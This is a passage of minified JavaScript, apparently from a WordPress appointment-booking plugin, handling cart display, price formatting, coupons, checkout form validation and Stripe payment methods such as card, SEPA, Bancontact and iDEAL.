s={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},i=t.clone();i.attr("data-id",e.getItemId());let a=e.getCapacityOptions();for(let t in s){let n=s[t],o=i.find(n).first(),l="{"+t+"}";if(!(o.length>0?o.html():"").includes(l))continue;let h="";switch(t){case"service_id":h=e.service.id;break;case"service_name":h=e.service.name;break;case"service_thumbnail":h=ke(e.service.thumbnail);break;case"employee_id":h=e.employee.id;break;case"employee_name":h=e.employee.name;break;case"location_id":h=e.location.id;break;case"location_name":h=e.location.name;break;case"reservation_date":h=f(e.date);break;case"reservation_save_date":h=f(e.date,"internal");break;case"reservation_time":h=e.time.toString("short");break;case"reservation_period":h=e.time.toString();break;case"reservation_save_period":h=e.time.toString("internal");break;case"reservation_capacity":h=Se(r(a,a),e.capacity);break;case"reservation_clients":h=we(r(a,a),e.capacity);break;case"reservation_clients_count":h=e.capacity;break;case"reservation_price":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return i.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),i.find('[name*="{item_id}"]').each(((t,s)=>{s.name=s.name.replace("{item_id}",e.getItemId())})),1===a.length&&i.find(".cell-people").addClass("mpa-hide"),i}function be(e){let t="";t+='<table class="mpa-order widefat">',t+="<tbody>";for(let s of e.products)t+='<tr class="mpa-order-service">',t+='<td class="column-service">',t+='<span class="mpa-service-name">'+s.name+"</span>",s.capacity>1&&(t+='<span class="mpa-reservation-capacity">',t+=s.quantity_label+": "+s.capacity,t+="</span>"),t+="</td>",t+='<td class="column-price">'+_e(s.price)+"</td>",t+="</tr>";return t+='<tr class="mpa-order-subtotal">',t+='<th class="column-subtotal">'+u("Subtotal","motopress-appointment")+"</th>",t+='<th class="column-price">'+_e(e.subtotal)+"</th>",t+="</tr>",t+="</tbody>",t+="<tfoot>",e.coupon&&(t+='<tr class="mpa-order-coupon">',t+='<th class="column-coupon">',t+=u("Coupon: %s","motopress-appointment").replace("%s",e.coupon.code),t+="</th>",t+='<td class="column-price">',t+=_e(-e.coupon.amount),t+=" ",t+='<a href="#" class="mpa-remove-coupon">'+u("Remove","motopress-appointment")+"</a>",t+="</td>",t+="</tr>"),t+='<tr class="mpa-order-total">',t+='<th class="column-total">'+u("Total","motopress-appointment")+"</th>",t+='<th class="column-price">'+_e(e.total)+"</th>",t+="</tr>",t+="</tfoot>",t+="</table>",t}function ve(e,t={}){let s=m().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=".",i=","){let a,r,n,o,l,h="";return e<0&&(h="-",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+"",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+i:"",n=a.substr(r).replace(/(\d{3})(?=\d)/g,"$1"+i),o=t?s+Math.abs(e-a).toFixed(t).replace(/-/,0).slice(2):"",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a="mpa-price";if(0==e&&(a+=" mpa-zero-price"),0==e&&t.literal_free)a+=" mpa-price-free",i=g("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let s=new RegExp("\\"+t+"0+$");return e.replace(s,"")}(i));let s='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":i=s+i;break;case"after":i+=s;break;case"before_with_space":i=s+"&nbsp;"+i;break;case"after_with_space":i=i+"&nbsp;"+s}e<0&&(i="-"+i)}return'<span class="'+a+'">'+i+"</span>"}function _e(e,t={}){return t.literal_free=!1,ve(e,t)}function Se(e,t,s={}){let i="<select"+ge(s)+">";return i+=we(e,t),i+="</select>",i}function Pe(e,t,s=!1){let i="";return i='<option value="'+e+'"'+(s?' selected="selected"':"")+">",i+=t,i+="</option>",i}function we(e,t){let s="";for(let i in e)s+=Pe(i,e[i],i==t);return s}function Ce(e,t,s,i){let a="";const r=String(i);for(const[e,s]of Object.entries(t))a+=Pe(e,s,e===r);for(let e of s)a+=Pe(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:s}=m().settings().getThumbnailSize();return"<img"+ge({width:t,height:s,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(s,i)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,a,r;e.setCapacity((i=e.getCapacity(),a=t,r=s,Math.max(a,Math.min(i,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id="'+s+'"]',a=this.$items.find(i);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let s=fe(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data("id"),s=this.cart.getItem(t),i=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),a=e.find(".mpa-reservation-price"),r=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),n=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");i.on("change",(t=>{let i=j(t.target.value);s.setCapacity(i);let r=s.getBookingVariantForCapacity(i),n=r.employeeId,o=r.locationId;if(s.getEmployeeId()!=n)s.setEmployee(n,!1),s.setLocation(o,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(n,i);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on("click",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:i,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(_e(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name="coupon_code"]'),this.$applyButton=e.find(".mpa-apply-coupon-button"),this.$messageHolder=e.find(".mpa-message-wrapper"),this.$preloader=e.find(".mpa-preloader"),this.$parentForm=e.parents(".mpa-booking-step").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on("keydown",(e=>{"Enter"===e.code&&this.onEnter(e)})),this.$applyButton.on("click",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),ie().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u("Coupon code applied successfully.","motopress-appointment"))):this.setMessage(u("Sorry, your booking is not eligible for this coupon.","motopress-appointment")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u("Coupon code is empty.","motopress-appointment"))}reset(){this.$couponCode.val(""),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass("mpa-hide")):(this.enable(),this.$element.removeClass("mpa-hide"))}disable(){this.$couponCode.prop("disabled",!0),this.$applyButton.prop("disabled",!0)}enable(){this.$couponCode.prop("disabled",!1),this.$applyButton.prop("disabled",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger("mpa_booking_step_disable")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger("mpa_booking_step_enable")}triggerApplied(e){this.$parentForm.trigger("mpa_booking_coupon_applied",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}}function Ie(e){const i=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:u("Phone number is invalid.","motopress-appointment")});e.after("<br>",i);const a=s(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr("name"),utilsScript:t.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});a.promise.then((()=>{e.val()&&r(),e.on("countrychange",(e=>{r()})),e.on("input",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),i.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),i.removeClass("mpa-hide"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name="",this.email="",this.phone="",this.notes="",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(".mpa-checkout-form"),this.$name=this.$element.find(".mpa-customer-name"),this.$email=this.$element.find(".mpa-customer-email"),this.$phone=this.$element.find(".mpa-customer-phone"),this.$notes=this.$element.find(".mpa-customer-notes"),this.$order=this.$element.find(".mpa-order"),wp.hooks.doAction("mpa_step_checkout_form",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.$messageHolder=this.$element.find(".mpa-message").first(),this.$preloader=this.$element.find(".mpa-loading"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(".mpa-customer-create-account"),this.$createAccountDescription=this.$element.find(".mpa-customer-create-account-description"),this.setProperty("createAccount",this.$createAccount.prop("checked"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty("name",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty("email",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&"undefined"!==t.currentCustomer.phone&&(this.setProperty("phone",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger("input")),this.service=null,this.couponSection=null}theId(){return"checkout"}propertiesSchema(){return{name:{type:"string",default:""},email:{type:"string",default:""},phone:{type:"string",default:""},notes:{type:"string",default:""},acceptTerms:{type:"bool",default:!1},$createAccount:{type:"bool",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on("submit",(e=>!1)),this.$name.on("input",(e=>this.setProperty("name",e.target.value))),this.$email.on("input",(e=>this.setProperty("email",e.target.value))),this.$phone.on("input",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on("countrychange",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on("input",(e=>this.setProperty("notes",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on("input",(e=>{this.setProperty("createAccount",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass("mpa-hide"):this.$createAccountDescription.addClass("mpa-hide")})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction("mpa_step_checkout_reset",this.$checkoutForm),this.$notes.val(""),this.resetProperty("notes"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop("checked",!1),this.resetProperty("createAccount")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters("mpa_step_checkout_form_valid",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is("[required]"))||""!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is("[required]"))||""!==this.email&&!!this.email.match(/.+@.+/)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is("[required]"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop("disabled",!1)}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}async maybeSubmit(){if(wp.hooks.hasFilter("mpa_step_checkout_maybe_submit")&&await wp.hooks.applyFilters("mpa_step_checkout_maybe_submit",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&""!==this.email){this.showPreloader();return c("/customers/create",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId="basic",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass("mpa-hide"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass("mpa-hide"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c("/payments/prepare",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid="",this.paymentMethods=new M,this.selectedMethod="",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass("mpa-hide")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),this.$gatewayPreloader.removeClass("mpa-hide"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(".mpa-stripe-payment-method."+i),t.$fields=e.find(".mpa-stripe-payment-fields."+i);const a=this.methods[i].getControl();if(null!==a){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,a.mount(e),a.on("ready",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove("mpa-preloader-skeleton-pulsate")}))}"card"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector("payment-request-button"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on("ready",(e=>{this.mountedMethod("payment_request_button"),s.classList.remove("mpa-preloader-skeleton-pulsate")}))):(s.classList.add("mpa-hide"),document.querySelector(".mpa-stripe-payment-request-button-separator").classList.add("mpa-hide")))}))})),e.find('input[name="stripe_payment_method"]').on("change",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(".mpa-errors")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case"payment":case"card":case"ideal":case"sepa_debit":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass("active",t),s.$fields.toggleClass("mpa-hide",!t)}}getElementSelector(e){return"sepa_debit"===e&&(e="iban"),"#mpa-stripe-"+e+"-element-"+this.uid}render(){let e="";e+='<section class="mpa-stripe-payment-container">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='<div class="mpa-errors"></div>',e+="</section>",e}renderNavigation(){let e="";e+='<nav class="mpa-stripe-payment-methods">',e+="<ul>";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='<li class="mpa-stripe-payment-method '+t+(s?" active":"")+'">',e+="<label>",e+='<input type="radio" name="stripe_payment_method" value="'+t+'"'+(s?' checked="checked"':"")+">",e+=" "+this.methods[t].title,e+="</label>",e+="</li>"}return e+="</ul>",e+="</nav>",e}renderFields(e){let t="";switch(t+='<div class="mpa-stripe-payment-fields '+e+(e===this.selectedMethod?"":" mpa-hide")+'">',t+="<fieldset>",e){case"payment":t+=this.renderPaymentFields();break;case"card":t+=this.renderCardFields();break;case"ideal":t+=this.renderIdealFields();break;case"sepa_debit":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+="</fieldset>","sepa_debit"===e&&(t+='<p class="notice">',t+=u("By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.","motopress-appointment").replace("%s",m().settings().getBusinessName()),t+="</p>"),t+="</div>",t}renderPaymentFields(){let e="";return e+='<div id="mpa-stripe-payment-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-element"></div>',e}renderCardFields(){let e="";return e+='<label for="mpa-stripe-card-element-'+this.uid+'">',e+=u("Credit or debit card","motopress-appointment"),e+="</label>",this.methods.card.isEnabledWallets()&&(e+='<div id="mpa-stripe-payment-request-button-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement"></div>',e+='<div class="mpa-stripe-payment-request-button-separator">'+u("or","motopress-appointment")+"</div>"),e+='<div id="mpa-stripe-card-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate"></div>',e}renderIdealFields(){let e="";return e+='<label for="mpa-stripe-ideal-element-'+this.uid+'">',e+=u("Select iDEAL Bank","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-ideal-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate"></div>',e}renderSepaDebitFields(){let e="";return e+='<label for="mpa-stripe-iban-element-'+this.uid+'">',e+=u("IBAN","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-iban-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate"></div>',e}renderRedirectNotice(){let e="";return e+='<p class="notice">',e+=u("You will be redirected to a secure page to complete the payment.","motopress-appointment"),e+="</p>",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass("mpa-hide")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass("mpa-hide").html("")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h("/payments/settings",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Fe)throw new Error("Cannot construct Abstract instances directly");if(void 0===this.setupProperties)throw new Error("Must override method: setupProperties()");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('"name" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('"title" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3," "),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error("Abstract Method has no implementation")}processPayment(e,t,s){const i=e.getCustomer(),a=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return"requires_action"==e.status&&"redirect_to_url"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error("Unable to process payment.",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name="payment",this.title=u("Payment methods","motopress-appointment"),this.customerDetails={name:"",email:"",phone:""}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:"",email:"",phone:""}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||"";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=s?.name)&&void 0!==a?a:null,email:null!==(r=s?.email)&&void 0!==r?r:null,phone:null!==(n=s?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:"if_required"})})).catch((e=>{throw console.error("Error during payment confirmation:",e),e}))}processPayment(e,t,s){return c("/payments/prepare",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if("requires_action"===e.status){if("redirect_to_url"!==e.next_action.type)throw new Error("The user has cancelled or failed to complete the payment.");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error("Unable to process payment.",e.message),e;throw new Error("Unable to process payment.")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create("payment",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?"never":"auto",email:e?.email?"never":"auto",phone:e?.phone?"never":"auto",address:{line1:"auto",line2:"auto",city:"auto",state:"auto",country:"auto",postalCode:"auto"}}}})}}class Le extends Fe{setupProperties(){this.name="card",this.title=u("Card","motopress-appointment"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u("Total","motopress-appointment"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return["apple_pay","google_pay","link"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(/([-_][a-z])/g,(e=>e.toUpperCase().replace("-","").replace("_","")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create("paymentRequestButton",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:"50px"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:"card",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete("fail"),new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete("success"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,console.error("Unable to process payment.",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Oe extends Fe{setupProperties(){this.name="sepa_debit",this.title=u("SEPA Direct Debit","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create("iban",{style:this.settings.style,supportedCountries:["SEPA"]})}}class Re extends Fe{setupProperties(){this.name="bancontact",this.title=u("Bancontact","motopress-appointment")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name="ideal",this.title=u("iDEAL","motopress-appointment")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create("idealBank",{style:this.settings.style})}}class Ve extends 